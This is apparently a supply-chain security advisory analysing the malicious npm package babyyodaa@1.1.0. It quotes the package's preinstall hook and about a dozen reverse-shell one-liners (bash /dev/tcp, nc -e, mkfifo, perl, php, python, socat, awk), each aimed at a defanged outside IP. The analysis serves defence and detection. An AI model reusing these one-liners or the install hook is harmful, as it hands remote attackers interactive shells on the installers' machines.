babyyodaa@1.1.0
Malicious code in babyyodaa (npm)
Analysis
This package is a clone of the hello-world-npm example project with an injected reverse-shell installer. Its package.json declares "preinstall": "chmod +x rce.sh; ./rce.sh", and the shipped rce.sh contains a battery of reverse-shell one-liners, all pointing at 202[.]164[.]16[.]13 on port 443: bash "sh -i >& /dev/tcp/202[.]164[.]16[.]13/443 0>&1", an "exec 196<>/dev/tcp/..." file-descriptor variant, "nc -e /bin/sh 202[.]164[.]16[.]13 443", a mkfifo /tmp/f + nc pipe, "perl -e 'use Socket;...exec(\"/bin/sh -i\")'", two php fsockopen + exec/shell_exec variants, python pty.spawn shells, "socat TCP:202[.]164[.]16[.]13:443 EXEC:sh", a mknod+telnet shell, and an awk '/inet/tcp/0/202[.]164[.]16[.]13/443' loop. Installing the package therefore attempts to hand an interactive shell as the installing user to a remote host at install time. The tarball also ships init.sh, which runs npm init / npm version / npm publish / git push against a GitHub repository, and the only functional code (lib/index.js, bin.js) is the upstream "Hello World" example, with no relation to the install hook.
- analyzed by
- Leitwacht
- first seen
- Nov 4, 2026, 09:05 AM
- analyzed
- Nov 4, 2026, 09:06 AM
Related advisories
- agent-bypass@2.29.3
- agent-bypass@2.29.2
- nodetokyo@1.0.10
- git-crt-creator@10.13.0
- nodetokyo@1.0.9
- random-certs@0.0.1
- wallet-connect-adapter@1.4.2
- sysdo@1.0.0
Independently detected by the Leitwacht supply-chain probe. IOCs are defanged. Published CC0. Think this is a mistake? See the dispute policy.